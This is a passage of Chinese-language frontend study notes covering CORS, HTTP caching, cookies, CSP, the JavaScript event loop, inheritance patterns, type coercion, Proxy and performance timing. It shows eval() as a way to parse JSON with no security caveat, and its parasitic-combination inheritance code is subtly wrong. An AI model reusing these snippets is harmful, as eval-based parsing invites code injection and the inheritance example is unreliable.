request）和非简单请求（not-simple-request）\n简单请求（满足下面的条件就是简单请求，否则就是非简单请求）：\n请求方式：必须是GET请求，POST请求，HEAD请求这三个之一\n请求头：请求头只能设置Accept，Accept-Language，Content-Language，Content-Type这三个字段\nContent-Type：该字段的值只能设置text/plain，multipart/form-data，application/x-www-form-urlencoded这三个值\n简单请求不会触发CORS预检请求，直接向目标服务器发送请求，如果满足CORS配置，服务器则返回响应，如果不是简单请求，那么浏览器会在发送请求之前发送预检请求给服务器，检查当前请求是否符合服务器的CORS配置，如果不符合则跨域报错，符合后才发送真正的请求\nCORS预检请求：使用OPTIONS请求发送预检请求到服务器上，来确定服务器是否允许该请求，该请求包含了两个字段，分别是Access-Control-Request-Method和Access-Control-Request-Headers，服务器接收到请求后，发送预检请求的响应，该响应中包括Access-Control-Allow-Headers和Access-Control-Allow-Origin这些字段，来限制请求，浏览器接收到该响应后才发送真实的资源请求\n（客户端）Access-Control-Request-Method表示实质请求用什么请求方式，Access-Control-Request-Headers表示实质请求携带了什么字段，由服务端来检查，该请求是否被允许\n（服务端）Access-Control-Allow-Origin表示服务器限制请求的源域，没有限制为*，Access-Control-Allow-Headers表示服务器允许请求携带什么字段，Access-Control-Allow-Methods表示服务器允许用什么请求方式来请求，Access-Control-Max-Age表示该预检请求的响应可以缓存多久（在该时间段内不用再发送同一请求的预检请求）\n注意：浏览器有个最大有限时间，Access-Control-Max-Age响应头（服务端响应），该响应头表示了本次预检请求的响应可以被缓存多久，单位为秒（不同浏览器最大有限时间都不同，Firefox为86400秒，目前最新chromium为7200秒），在这个时间段内浏览器不需要再为同一个请求发送预检请求\n缓存\nres.header(\"Cache-Control\",\"max-age=60\");\rprivate指的单个用户，public可以被任何中间人、CDN等缓存\nHTTP的可缓存性（public（允许被任何人（客户端，中间人，代理都可以）缓存），private（只能缓存在客户端，代理服务器无法获得缓存），no-cache（禁止强缓存，每次都需向服务端验证缓存是否过期，只有当确认没有过期后才能被缓存））\n缓存到期(max-age（缓存的到期时间，单位为秒，距离上一次请求多少秒后缓存过期），s-maxage（设置代理服务器的缓存到期时间，单位为秒），max-stale（允许缓存超过max-age或者s-maxage设置的缓存生存时长，该配置表示过期的缓存最大可以缓存多久，单位秒，也就是说实质缓存过期时间是max-age+max-stale（或者s-maxage））)\n重新验证（must-revalidate（和no-cahe类似，但是该参数允许缓存过期多少秒后进行验证，单位为秒），proxy-revalidate（和must-revalidate类似，不过只作用于代理服务器））\nno-store（禁止缓存），no-transform（不允许对资源进行压缩或者转换的工作）\n设置一个完全禁止缓存（Cache-Control: no-cache, no-store, must-revalidate）\n缓存的验证（Last-Modified（表示上次修改的时间），Etag（数据的唯一签名，如果资源发生改变，签名会发生改变））\nIf-Modified-Since：第二次访问该资源时，浏览器会向服务端发送一个请求，来确定该资源是否发生修改（重启服务器也会导致认为已经修改），如果没有修改则继续使用缓存（该请求的响应为304），如果已经修改了则重新对该资源的拉取\nIf-None-Match：当浏览器请求该资源时，服务端会发送一个Etag给浏览器，浏览器第二次请求该资源时，发送一个If-None-Match给服务端，让服务端来验证资源是否发送了改变\ncookie\ncookie通过Set-Cookie设置\ncookie是具备过期时间的，通过max-age来设置（表示该cookie存活多长时间后被销毁，单位秒），默认当浏览器销毁该会话时自动删除cookie，还可以设置expires来设置过期时间（指定该cookie到达什么时间后消耗，根据过期时间和本地客户端的时间进行对比，如果超过或者已经到了过期时间，就会销毁该cooki）\n设置httponly后无法通过document.cookie访问cookie（安全）\nsecure只在https时发送该cookie（安全）\nDomain只在命中该域时发送该cookie（安全）\npath可以限制服务端哪个路径下可以访问到该cookie（安全）\nconst http = require(\"http\")\rhttp.createServer(function (_request, response) {\rresponse.writeHead(200,{\r'Content-Type': 'text/plain',\r'Set-Cookie': 'id=abc'\r// 'Set-Cookie': ['id=abc; max-age=5','pass=123; HttpOnly Secure=true','age=20; Domain=test.xiaochenabc123.test.com; path=/testWeb/']\r})\rresponse.end(\"hallo nodejs\")\r}).listen(8888)\rconsole.log('Server running at http://127.0.0.1:8888/')\rhttp数据协商\nAccept（客户端想要的数据类型）\nAccept-Encoding（数据的编码传输，避免服务端进行数据编码压缩）\nAccept-Language（数据的语言）\nUser-Agent（浏览器的UA信息）\nContent-Type（服务端返回的数据的实质类型）\nContent-Encoding（服务端实质返回的数据的编码（实质的数据的压缩格式））\nContent-Language（服务端返回数据的实质语言）\nContent-Security-Policy（内容安全策略，CSP）\n限制资源的获取\nres.writeHead(200, {\r'Content-Type': 'text-html',\r'Content-Security-Policy': 'default-src http: https:' // 'Content-Security-Policy': 'default-src \\'self\\' http://test.xiaochenabc123.test.com; form-action \\'self\\'; report-uri https://testreport.xiaochenabc123.test.com; report-to reportTest' });\rdefault-src是全局限制，还有img-src，script-src，style-src等等限制指定的资源类型，上面的例子中表示的是限制全局资源必须是以http或者https的外联的方式访问，内联方式访问将会报错\n'self'的作用是非本域的资源，限制其加载，也可以设置指定的域的资源可以加载（注意：该限制不会导致form元素的action属性，需要使用form-action 'self'来限制）\nreport-uri的作用是当客户端存在违反CSP的企图是，将违规报告通过post请求的方式（json格式）发送指定服务器（该功能已被web标准抛弃，推荐使用取代品report-to）\nreport-to配置\nReport-To: { \"group\": \"reportTest\",\r\"max_age\": 10886400,\r\"endpoints\": [\r{ \"url\": \"https://reports.xiaochenabc123.test.com\" },\r{ \"url\": \"https://test.xiaochenabc123.test.com/reports\" }\r]\r},{ \"group\": \"reportTestA\",\r\"max_age\": 10886400,\r\"endpoints\": [\r{ \"url\": \"https://reportsA.xiaochenabc123.test.com\" },\r{ \"url\": \"https://test.xiaochenabc123.test.com/reportsA\" }\r]\r},\r当发生违规情况时，发送report报告到指定endpoints下的url中，group为report名，max_age是报告的最大大小是多少，可以设置多个report报告，report-to不支持在meta下使用\n如果发生违规情况，但是又不想强制限制资源的加载，只想记录违规情况的时候，可以使用Content-Security-Policy-Report-Only\n浏览器事件循环\n浏览器缓存\njson全成JavaScript Object Notation，用来数据交互，以键值对方式，多个数据用逗号分隔\njson支持字符串，数值，布尔值，数组，对象，null\nJSON.stringify() json转为字符串\nJSON.parse() 字符串转为json\nJSON字符串：和普通字符串没有区别，只是符合语法规则\n例如：\nlet objStr = '{\"name\":\"root\",\"pass\":\"admin\",\"true\": null}'\rlet objArr = '[{\"name\": \"boom\",\"pass\": \"hallo\"},{\"name\": \"aaa\",\"pass\": \"yes\"}]'\rlet obja = JSON.parse(objStr)\rlet objb = JSON.parse(objArr)\rconsole.log(obja)\rconsole.log(objb)\r获取属性和值\n通过对象名.属性名来获取或者修改，例如obja.name\n也可以通过对象名[属性名]来获取或者修改，例如obja[“name”]\n删除对象属性，delete obja.name\nJSON转JavaScript对象（利用eval()来解析json文本）\nlet objStr = '{\"name\":\"root\",\"pass\":\"admin\",\"true\": null}'\rlet objArr = '[{\"name\": \"boom\",\"pass\": \"hallo\"},{\"name\": \"aaa\",\"pass\": \"yes\"}]'\rlet obja = eval(\"(\" + objStr + \")\")\rlet objb = eval(\"(\" + objArr + \")\")\rconsole.log(obja)\rconsole.log(objb)\rJSONP postMessage() websocket Node中间件代理 cors nginx反向代理 window.name + iframe location.hash + iframe document.domain + iframe\n执行上下文和执行栈（调用栈）\nJavaScript程序执行分2个阶段，预编译阶段和执行阶段，而执行上下文就是在执行阶段创建完成的\n预编译阶段主要做一些预处理工作，例如创建变量对象（变量提升），执行阶段就会激活这些变量对象（赋值）\n声明阶段会在编译时提升到最上面，当声明完成后，才会执行赋值操作，例如：\nvar a = 1\r上面会被编译器处理为\nvar a\ra = 1\r因此可以在编写时在未定义就使用该变量，改变编写时的位置（不再是从上往下依次执行），这就是变量提升\n函数声明可以被提升，而且函数表达式不会被提升，例如：\nabc()\rfunction abc(){\rconsole.log('hallo word')\r}\rxyz() // xyz is not a function，并不是这个不是函数，而且没有声明，因此这个没有得到提升\rvar xyz = function(){\rconsole.log('hallo hahaha')\r}\r只有声明本身被提升，赋值和其他操作并不会被提升，而且按照从上往下依次执行，提升只影响声明\n声明提升，函数优先，例如：\nabc() // hallo word\rvar abc\rabc = function(){\rconsole.log('hallo hahaha')\r}\rfunction abc(){\rconsole.log('hallo word')\r}\r可以看到abc变量最先出现，但是反而输出了hallo word，说明函数声明比变量声明提升的更早，变量abc因为重复声明，被忽略了\n执行上下文：指的是抽象化JavaScript代码执行的环境，当JavaScript代码被执行的时候，都是在执行上下文中运行的\n在JavaScript中有3种执行上下文，分别是全局执行，函数执行，Eval函数执行\n全局：不在函数内部的代码都在全局执行上下文中，一个程序只有一个全局执行上下文\n函数：当某个函数被调用时，为该函数创建一个函数执行上下文（如果被调用多次，会根据定义的顺序来执行（执行栈））\nEval函数：在eval函数内部执行的代码也有自己的执行上下文\n执行栈（调用栈）：指的是一种存在后进先出（LIFO）的数据结构的栈，该栈被用来存储程序运行的时候被创建的全部执行上下文。在JavaScript编译代码的时候，创建一个全局的执行上下文，将这个执行上下文存储在当前执行栈中，只要当碰到函数被调用，再为该函数创建一个新的执行上下文并且存储在栈的顶部，然后执行在顶部的函数，函数执行完毕，该执行上下文从栈中弹出，轮到下一个执行上下文进行，一旦全部代码都执行完毕，全局执行上下文弹出\n执行上下文会经历创建和执行俩个阶段，创建阶段会创建变量环境和词法环境，this绑定（在全局执行上下文中，this的值为全局对象，如果是浏览器的话，this为window对象，在函数执行上下文中，this取决于该函数怎么被调用的，如果是被一个对象调用的，那么this指向该对象，否则就是全局对象）\n词法环境：一种规范类型，用来定义变量名或者函数名和实际对象的关联，一个词法环境有两个组件，分别是环境记录器（用来存储变量和函数声明的实际位置），外部环境的引用（可以访问父级词法环境）\n词法环境有俩种类型：全局和函数，全局环境（全局执行上下文）是不存在有外部环境引用的，该环境拥有用户定义的全局变量，并且this执行全局对象。而在函数环境中，在函数内部定义的变量会被存储在环境记录器中，引用该环境的外部环境可能是全局，又或者是其他包含该函数的外部函数\n环境记录器也是有俩种，分别是声明式（函数环境）和对象式（全局环境），声明式会存储变量，函数以及参数（还会传递arguments（存储索引和参数映射）和length（函数参数））。而对象式被用来定义出现在全局上下文中的变量和函数之间的关系\n变量环境：在ES6中，只有使用var定义的变量才能使用变量环境来存储（let和const则是词法变量），在创建阶段，变量初始值为undefined（var）和未初始化（let和const）\nJS底层运行机制：EC/VO/AO/GO/EC/ECS/Scope/Scope Chain/Lexical Environment/Variable Environment\nJS执行环境（EC），变量对象（VO），活动对象（AO），GO对象，作用域（scope）作用域链（scope chain）\nJS执行环境（EC），EC全称为Execution Context，又叫执行上下文\n变量对象（VO），VO全称Variable Object，该对象存储了当前上下文中定义的变量和函数，在全局作用域中，变量对象就是全局对象\n活动对象（AO），AO全称Activation Object，该对象在进入函数执行上下文时被创建，AO对象存储了该函数的参数变量\nGO对象，GO全称Clobal Object，该对象存储了所有调属性和方法，并且在全局中创建一个window变量指向这个GO对象，因此GO对象实质上就是全局对象\nECS：ECS全称Execution Context Stack，就是执行上下文栈，又叫执行栈\nScope：作用域\nScope Chain：作用域链\nLexical Environment：词法环境\nVariable Environment：变量环境\n函数的运行：\n编译阶段：创建一个堆内存，声明当前函数的作用域，作用域和执行上下文相关，将函数内部语句块以字符串的形式存储在堆内存中，函数名指向该函数的堆内存地址\n执行阶段：创建函数执行上下文（私有），在函数执行上下文中存储活动对象（AO），初始化操作（初始化作用域链，this指向，arguments，形参赋值，变量提升），执行语句（调取堆内存中存储的字符串，以上下文的形式依次执行）\nScope Chain查找机制：检查在执行阶段的变量是否为私有变量，如果都是私有，那么直接操作私有，如果不是私有的，按照Scope Chain，向上级作用域查找，一直查找到全局作用域为止\n所谓的变量提升只是在编译阶段识别被创建的变量，在这个阶段中使用var和function定义的变量初始化的值被设置为undefined，而使用let和const定义的变量还是未初始化（暂时不能使用的状态），直到定义被执行才被初始化\nJavaScript是即时编译即时执行的机制，在执行一个函数之前，都会立刻编译该函数，然后创建执行上下文，在执行上下文中有个存储空间叫变量环境，这个环境存储着由var定义的变量，因为var定义的变量都在编译的时候已经存储了，在执行时的任何时间段都是可以访问调用的\n而使用const和let定义的变量，在编译完成的时候，执行之前，将变量名存储在词法环境中，在没有声明该变量之前是会存在暂时性死区（变量已经被上下文记录，但是不能使用）\nEventloop（事件循环）：事件循环实质上就是避免js单线程的时候出现堵塞，也是异步的原理\na programming construct that waits for and dispatches events or messages in a program.\nEvent Loop 任务分为两种，分别是宏任务（MacroTask）和微任务（MacroTask）\n所有同步任务会根据顺序被主线程依次执行，执行栈（execution context stack），而除主线程外，还有一个任务队列（task queue），当碰到异步任务完成了，任务队列就会告诉主线程，某个异步任务可以执行，这时这个异步任务才会进入主线程执行（异步任务结束等待，进入执行栈，开始执行），主线程反复操作，这就是事件循环\n宏任务：整体代码script，setTimeout和setInterval，I/O，UI Rendering（ui渲染），setImmediate（node的特性，浏览器已抛弃该API），requestAnimationFrame，事件\n微任务：Promise.then，process.nextTick（node的特性），MutationObserver\n在浏览器上：JavaScript会有一个主线程和执行栈（call-stack），全部任务都会放到执行栈等主线程执行\njs的执行栈是后进先出的数据结构，当某一个函数执行时，将插入到栈的顶部，当执行完毕，从栈顶部弹出。一直到栈被清空，执行栈的所有同步任务执行完成，开始查看任务队列，执行那些异步任务（只有当主线程空了，才能执行任务队列里面的）\n而任务队列是先进先出的数据结构，只有异步任务才能进入任务队列（同步任务在主线程上排队），异步任务必须指定回调函数，主线程执行异步任务实质上就是在执行对应的回调函数。当某个异步任务完成，就会向任务队列添加一个事件，在顶部的任务，会优先被主线程处理\n例如：\nnew Promise((a) =\u003e a())\r.then(() =\u003e console.log(\"微任务1\"))\r.then(() =\u003e console.log(\"微任务2\"))\rconsole.log('hallo 我是同步任务1')\rvoid setTimeout(() =\u003e {\rconsole.log(\"我是定时任务1 宏任务\")\r}, 1000)\rvoid setTimeout(() =\u003e {\rconsole.log(\"我是定时任务2 宏任务\")\r}, 0)\rvoid setTimeout(() =\u003e {\rconsole.log(\"我是定时任务3 宏任务\")\r})\rsetTimeout(function() {\rconsole.log('我是宏任务，good bye')\r}, 1000)\rPromise.resolve()\r.then(() =\u003e console.log(\"微任务3\"))\r.then(() =\u003e console.log(\"微任务4\"))\r.then(() =\u003e console.log(\"微任务5\"))\rconsole.log('hi 我是同步任务2')\r微任务列表是先进先出，先进入的，就先执行\n运行过程：同步任务执行（主线程），当同步任务为null，检查任务队列是否为null，不为null，宏任务（script任务）进入执行栈，在主线程执行前进行判断，（微任务和宏任务都是异步任务），如果微任务队列不为null（script任务执行过程中遇到微任务，将微任务添加到微任务排列），优先执行微任务，当微任务都执行完毕，执行下一个宏任务\nsetTimeout定时器最小延迟时间为4ms，在4ms以内的定时都将视为同一个最小延迟时间，将根据先进先出处理\n例如：\nsetTimeout(function() {\rconsole.log('hallo')\r}, 1)\rsetTimeout(function() {\rconsole.log('hhhh')\r}, 0)\rconsole.log('abcabc')\rsetTimeout()方法的返回值是整数，这个整数是该定时器的编号，可通过clearTimeout()方法来取消该定时器，例如clearTimeout(123)，假设该定时器编号为123\nDOM事件级别\nDOM0 函数赋值到一个事件中（可以绑定多个同类型事件），例如onclick=function(){}或者在元素内添加事件\nDOM2 使用监听，可以移除或者添加监听，例如addEventListener(‘click’, test, false)\nDOM3 在DOM2级基础上添加更多事件类型，例如键盘事件addEventListener(‘keyup’, test, false)\nDOM1因为没有定义事件相关的内容，所有没有DOM1级模型\n捕获（从祖先元素捕捉到子元素，精确到目标元素） 冒泡（从目标元素往上冒泡，一直到window元素）\n创建对象的方法\nlet a = {data: “hallo word!!!”} let b = new Object({data: “hallo word!!!”}) let c = function(){this.data=“hallo word!!!”} let d = new c() let e = Object.create(a)\n继承的方法\n通过原型链继承\nfunction test(){\rthis.data = 123\r}\rfunction main(){\rthis.type='main'\r}\rmain.prototype = new test() // main.prototype.__proto__ = test.prototype\rconsole.log(new main)\r缺点就是如果进行修改对象，那么其他通过其父类实例继承的对象，都会被修改(引用类型），而且也不能向父类构造函数传递参数\n通过构造函数继承\nfunction test(){\rthis.data = 123\r}\rfunction main(){\rtest.call(this)\rthis.type='main'\r}\rconsole.log(new main)\r实质上是通过改变test的this指向，将其指向到main，这个只能继承父类构造函数的属性，不能继承原型链上的方法（prototype）\n盗用构造函数（对象伪装/经典继承）\nfunction test(){\rthis.data = [123,666,\"hahahah\"]\r}\rfunction main(){\rtest.call(this)\r}\rlet a = new main()\rlet b = new main()\ra.data.push(\"hallo word\")\rconsole.log(a,b)\r会发现a和b的data都是独享的，不会存在改变a，b也跟着改变，原理就是通过call改变this指向，指向当前的test，因为使用的call，还可以给父类传递参数，缺点就是无法复用父类方法，因为每次实例化，都要重新声明父类的方法\n组合继承（伪经典继承，将原型链和盗用构造函数方式结合）\n原理就是通过原型链继承父类的属性和方法，再用盗用构造函数继承实例的属性（可以确保方法可复用，每个实例都有自己的独享属性）\nfunction test(){\rthis.data = [123,666,\"hahahah\"]\r}\rfunction main(){\rtest.call(this)\r}\rmain.prototype = new test()\rlet a = new main()\rlet b = new main()\ra.data.push(\"hallo word\")\rconsole.log(a,b)\r通过盗用构造函数继承父类的data属性，然后通过原型链，继承父类的原型对象\n缺点就是会调用2次test构造函数（分别是在new，call各调用一次），而且实例和原型都存在相同的属性和方法\n原型式继承（实例继承）（直接给对象赋值给构造函数的原型）\nfunction test(data){\rfunction hallo(){}\rhallo.prototype = data\rreturn new hallo()\r}\r寄生式继承\nfunction test(data){\rlet hallo = Object.create(data)\rhallo.abc = function(){\rconsole.log(this.name+this.pass)\r}\rreturn hallo\r}\rlet data1 = {\rname:\"root\",\rpass:\"hallo\"\r}\rlet main = test(data1)\rmain.abc()\r通过接收参数，该参数为被继承的对象，main是基于data1对象创建一个新对象，这个对象有data1的属性和方法，也有自己的abc方法，继承父类之后，进行增强了\n寄生式组合继承（组合继承加寄生式继承）\nfunction test() {\rthis.data = [123,666,\"hahahah\"]\r}\rfunction main() {\rtest.call(this)\r}\rmain.prototype = Object.create(test)\rlet a = new main()\rlet b = new main()\ra.data.push(\"hallo word\")\rconsole.log(a,b)\rextends继承（es6继承，通过extends关键字继承）\nclass test {\rconstructor(name=\"root\",data=\"hallo\") {\rthis.name = name\rthis.data = data\r}\rhallo(){\rconsole.log(`${this.name} ${this.data}`)\r}\r}\rclass main extends test {\rconstructor(name=\"admin\",data=\"hahaha\") {\rsuper(name,data)\r}\rhallo(){\rsuper.hallo()\r}\r}\rlet abc=new main('user')\rabc.hallo()\r通过extends关键字创建父类的实例this，然后在子类class中修改this，必须通过父类构造函数来得到父类的属性和方法（super方法）\n浏览器缓存的分类\n强缓存（本地缓存，不用请求，直接拿来用）， expires和control\nexpires是http1.0定义的缓存字段，expires字段为资源的过期时间，这个字段是时间戳，这个会导致客户端时间和服务端时间之间时间差问题（因为请求的时候使用的客户端的事件）\ncontrol（cache-control）是http1.1中定义的字段，用来解决expires存在的问题，该字段是一个时间长度，表示多少秒后过期（相对于客户端），当expires和cache-control都存在时，cache-control优先级高\n协商缓存（当拿到该缓存，会向服务端进行确认，确认其是否要用，缓存有没有更新），last-modified和etag\nlast-modified会在获取到某资源的时候记录资源的修改时间，当第二次获取到的时候，会对比时间，精确到秒（1秒内的更新，不会被记录），如果对比修改时间，发现没有修改，那么继续使用该缓存并且返回304，如果被修改那么重新获取，并且记录新时间，而且存在时间上修改了，但是内容没有修改的问题，etag就是解决这个的\netag会基于内容编码生成唯一的标识，只要内容不一样，标识就一定不一样，判断是否被修改，直接判断标识是否一致，一致则直接使用缓存并且返回304，不一致就是获取新的缓存，并且记录etag值\n因为JavaScript没有类型声明，可以进行类型的强制转换，手动转换（明确转换）的叫显式转换类型，自动转换（隐式，由编译器自动处理）的叫隐式转换类型\nObject.prototype.toString()返回表示该对象的字符串\nObject.prototype.valueOf()返回对象的原始值\nSymbol.toPrimitive效果和valueOf()类似，只是优先级比valueOf()高，并且接受一个hint参数（该参数被用来指定要转换的原始值的具体类型）\n隐式转换过程：优先调用对象的valueOf()方法，返回原始值，如果不能处理则调用对象的toString()方法转换为字符串，进行字符串拼接，否则报错（cannot convert object to primitive value）\n隐式类型转换例子：\ntrue + 1 === 2 // true\r布尔值加整数，居然绝对等于（类型和值都等于）一个整数，这说明类型已经被转换了\n+加号不但可以用来算术运算，还可以做字符串拼接\n字符串加数字，数字自动转字符串\n\"123\" + 666 // '123666'\r数字减字符串，字符串自动转数字，如果字符串不是纯数字，那么输出为NaN\n123 - \"100\" // 23\r相等\n==，当类型不相同时，进行类型转换，再进行比较\n===，首先进行判断类型是否相同\nundefined==null // true\r\"0\" == false // true\r比较\n\"3\" \u003e \"10\" // true\r字符串和字符串比较就算了，为啥字符串3大于字符串10，类型转换了也不应该啊\n实质上并没有做类型的转换，因为其比较的时候调用了charCodeAt()方法，返回值是整数，这个整数表示则该字符的Unicode编码\n所以实质上是\"3\".charCodeAt() \u003e “10”.charCodeAt()\n表示\"3\"的Unicode编码为51，“10\"的为49\ncharCodeAt()方法可以将字符串转Unicode编码，该方法必须要写index参数，如果没写默认参数值为0\nlet abc = \"你好\"\rconsole.log(abc.charCodeAt(1)) // 22909 该值为\"好\"的Unicode编码\r同样也可以将Unicode编码转字符串fromCharCode()方法\nlet a = String.fromCharCode(51)\rconsole.log(a) // 3\rconsole.log(typeof(a)) // 'string'\rproxy对象属于一种元编程（meta programming），proxy可以拦截对象，外部进行调用该对象时，必须通过这个拦截，这个拦截器可以对外部的调用进行过滤和查找赋值等等，另外Vue3.0的数据双向绑定（响应式）实现原理就是proxy\nES6提供了Proxy构造函数，来new Proxy()实例，Proxy实例具备有2个参数，分别是target, handler\nlet proxy = new Proxy(target, handler)\ntarget参数是要拦截的对象，handler参数为拦截后的行为（也是对象）\nProxy支持13种拦截行为，分别是：\nget()：读取属性\nset()：修改属性\nhas()：in操作符，判断某个属性是否存在于这个对象之中\napply()：当Proxy拦截函数时\nconstruct()：当使用new关键字时\ndeleteProperty()：当使用delete删除对象的属性时\ndefineProperty()：当使用Object.defineProperty修改属性修饰符时\nownKeys()：当使用Object.getOwnPropertyNames()，Object.getOwnPropertySymbols()，Object.keys()，Reflect.ownKeys()获取对象的信息时\ngetPrototypeOf()：当使用Object.getPrototypeOf()读取对象的原型信息时\nsetPrototypeOf()：当使用Object.setPrototypeOf()设置对象的原型时\nisExtensible()：当使用Object.isExtensible()判断对象是否可以添加新的属性时（Reflect.isExtensible()操作也会触发）\npreventExtensions()：当使用Object.preventExtensions()设置对象不能添加新的属性时\ngetOwnPropertyDescriptor()：当使用Object.getOwnPropertyDescriptor()获取该对象的自有属性（自有属性指该对象所有，不需要通过原型链获取该属性）的属性描述时\n这里只写最常用的get()和set()\nconst abc = {\rname: \"chenjunlin\",\rpass: \"123456789\"\r}\rconst proxy1 = new Proxy(abc, {\rget(target, property, receiver) {\rif (property in target){\rreturn target[property]\r}else{\rreturn '读取失败'\r}\r},\rset(target, property, value, receiver){\rtarget[property] = value\rconsole.log(`${property}属性被设置值`, value)\r}\r})\rconsole.log(proxy1.name)\rconsole.log(proxy1.pass)\rconsole.log(proxy1.hallo)\rproxy1.name = \"root\"\rconsole.log(proxy1.name)\rproxy1.pass = \"123\"\rconsole.log(proxy1.pass)\rtarget是拦截对象，property是被拦截获取到的属性，value是新的属性值，receiver是Proxy对象本身（指向this对象，如果是继承的，那么该值为继承的Proxy对象）\nReflect是提供拦截对象操作的方法，其不是构造函数，不可通过new创建和调用Reflect，其拦截的方法和Proxy相同\n例如：\nconst obj = {\rname: \"root\",\rpass: \"123\"\r}\rReflect.get(obj, \"name\")\rBabel编译工作\nBabel的核心功能就是编译ESNext，进行降级，保证兼容性，编译的核心就是通过AST（语法抽象树）对源码进行分析，并且转换为目标代码，解析成AST是方便计算机理解源码是干什么的，而Babel解析器是Babylon\n像解析let const时，直接转换为var，并且判断编译阶段的const是否存在二次赋值，如果存在就是报错，块级作用域通过立即调用函数实现（例如匿名函数），针对暂时性死区，使用JavaScript严格模式实现\n前端性能指标\n首次绘制时间（FP）：页面发生第一次绘制时间，首次不同于上次跳转之间的内容\n首次有内容绘制时间（FCP）：浏览器渲染完成DOM的部分内容（可以是文本，也是可以是其他带内容的（或者说有视觉效果的））的时间\n首次有意义绘制时间（FMP）：页面关键内容的绘制时间（根据不同需求而定）\n首屏时间：完成整个屏幕内容渲染的时间（不包括滚动）\n用户可交互时间：用户可与页面进行交互的时间，DOMReady（html元素转换为DOM树完成（DOMContentLoaded事件），不包括加载外部文件）\n视觉稳定性指标（CLS，Cumulative Layout Shift）：指页面从一帧到另一帧时，不稳定元素的偏移量（也叫布局偏移量）\nFID（First Input Delay，首次输入延迟）\nPSI（Perceptual Speed Index，视觉变化率）\nFPS（Frames Per Second，每秒显示帧数）\n白屏时间：从页面发送刷新或者跳转后到页面出现第一个字符的时间\n白屏时间FP = domLoading - navigationStart\n可能导致白屏时间过长的原因：dns查询，tcp请求连接，服务端响应速度，关键资源下载，解析，渲染，资源体积\n首屏时间（服务端渲染应用用DOMContentLoaded时间，客户端渲染应用MutationObserver）：白屏时间加渲染时间\nMutationObserver接口可以监视DOM元素，因为客户端渲染应用是在客户端通过ajax请求的方式进行显示内容的，DOMContentLoaded时间并不能实质表示客户端渲染应用的首屏时间，应该监听某个最后的DOM元素，当其加载完成了，这个时间才算首屏时间，当然MutationObserver并不能计算图片加载时间，因为图片加载是异步的\n首屏时间数据：平均值，分位值（例如P99，将全部首屏时间排序，第99位的首屏时间就是P99，除了P99，还有P50,P90）,秒开率（1秒内打开的用户的比率，还有1.5秒开率，2秒开率）\n首屏时间优化：懒加载（加载关键内容，延迟加载其他内容，按需加载），缓存（减少重复请求），离线化，请求并行化（域名散列或者HTTP2.0多路复用）\nDNS查询优化：浏览器提供预获取DNS接口，可在浏览器建立DNS缓存，减少DNS查询所耗费的时间\nDNS查询优先级：浏览器缓存\u003ehosts\u003e路由器缓存\u003eDNS服务器缓存（ISP）\u003e根服务器缓存\nChrome浏览器默认缓存60秒，如果之间访问过了该域名，那么在60秒内将不会重新获取DNS缓存，而是直接调用浏览器的DNS缓存，减少DNS查询耗费的时间\n开启DNS预解析\n尝试对a.xiaochenabc123.test.com域名做预解析（不能用来对当前域名做预解析，因为当得到这个资源时，早就得到当前域名的解析IP）\n预连接\n预加载（会提升该资源加载的优先级，加载和执行是不同的，加载完成并不会执行，需要手动执行）\n预判加载（会降低该资源加载的优先级，因此只有当空闲时才会加载这个）\nHTTP请求优化：解决请求阻塞（请求阻塞（Stalled）是浏览器为了确保访问速度，对同一域名下的资源限制在一定的请求数，超过该请求数就会阻塞）\n以目前版本的Chrome浏览器来说，其最大请求数是6个（http1.1），超过6个请求数时，只能等待前面的请求后再进行请求，请求阻塞只针对同一域下的，只需要将资源用不同的域名散列（实质请求数限制将表示为域名数 * 浏览器最大请求数）\n例如将某个静态资源服务器，分成多个域名，例如，a.xiaochenabc123.test.com，b.xiaochenabc123.test.com，那么请求数就是可以达到12个\n资源Gzip压缩，避免301和302重定向，骨架屏\n性能数据获取\nwindow.performance\nconst TimeData= window.performance\rTimeData.memory // 该字段表示JavaScript对内存的占用\rconsole.log(TimeData.memory)\rmemory字段有三个属性（这些属性都是只读的，而且只有Chrome内核的浏览器才有这些属性，是非标准），分别是jsHeapSizeLimit（内存大小的限制），totalJSHeapSize（可以使用的内存），usedJSHeapSize（JavaScript对象占用的内存（包括V8内部对象））\nconsole.log(TimeData.navigation)\rnavigation字段有两个属性，分别是redirectCount（获取某个资源需要重定向几次才能得到）和type（该属性有4个值，0表示是通过正常访问的（TYPE_NAVIGATENEXT），1表示通过刷新访问的（TYPE_RELOAD ），2表示通过前进后退按钮访问的（TYPE_BACK_FORWARD，历史记录），255表示不是这些方式之外访问的（TYPE_UNDEFINED））\ntimeOrigin字段\nconst datea = new Date(TimeData.timeOrigin)\rconsole.log(datea)\rconsole.log(TimeData.timeOrigin)\r返回性能测量开始时的高精度时间戳\ntiming字段虽然已被w3c标准抛弃，但是这玩意的接口很强大\nconsole.log(TimeData.timing)\r可以看到输出了21个属性，这些属性分别是\nconnectEnd: http连接成功的时间（建立连接） connectStart: http开始建立连接的时间（开始连接） domComplete: dom解析完毕的时间，资源也准备就绪（Document.readyState值为complete） domContentLoadedEventEnd: DOMContentLoad事件结束时间，dom解析完毕，并且资源加载完毕 domContentLoadedEventStart: DOMContentLoad事件开始时间，dom解析完毕，开始加载资源 domInteractive: 解析html文档，dom树创建完毕的时间，资源还没加载（Document.readyState值为interactive） domLoading: 开始解析渲染dom树的时间（Document.readyState值为loading） domainLookupEnd: DNS查询域名结束时间（当使用了本地缓存时或者持久连接，不需要dns查询，该值等于fetchStart的值） domainLookupStart: DNS查询域名开始时间（当使用了本地缓存时或者持久连接，不需要dns查询，该值等于fetchStart的值） fetchStart: 浏览器准备发起第一个资源请求的时间（检查缓存之前） loadEventEnd: load事件结束的时间 loadEventStart: load事件开始时间 navigationStart: 前一个页面的unload时间（当前窗口的前一个页面的关闭并且发生unload事件时），如果没有前一个页面，则表示fetchStart时间 redirectEnd: 最后一个http重定向发生时的时间 redirectStart: 第一个http重定向发生时的时间 requestStart: http连接完成并且请求真实文档的时间 responseEnd: http返回响应并且全部接收完成的时间（接收最后一个字节） responseStart: http开始接收响应的时间（接收第一个字节） secureConnectionStart: http连接开始的时间（和connectEnd类似），如果不是安全连接返回0 unloadEventEnd: 前一个页面中的unload事件所绑定的回调函数执行完毕的时间 unloadEventStart: 前一个页面中的unload事件触发的时间，如果没有前一个页面或者前一个页面和当前页面不在一个域中时，返回0\n单位： Unix毫秒时间戳（基于UTC1970.01.01 00:00:00到现在的总毫秒数）\n重定向时间：redirectEnd - redirectStart\ndns查询时间：domainLookupEnd - domainLookupStart\ntcp建立连接并且完成握手时间：connectEnd - connectStart\n内容加载完成时间：responseEnd - 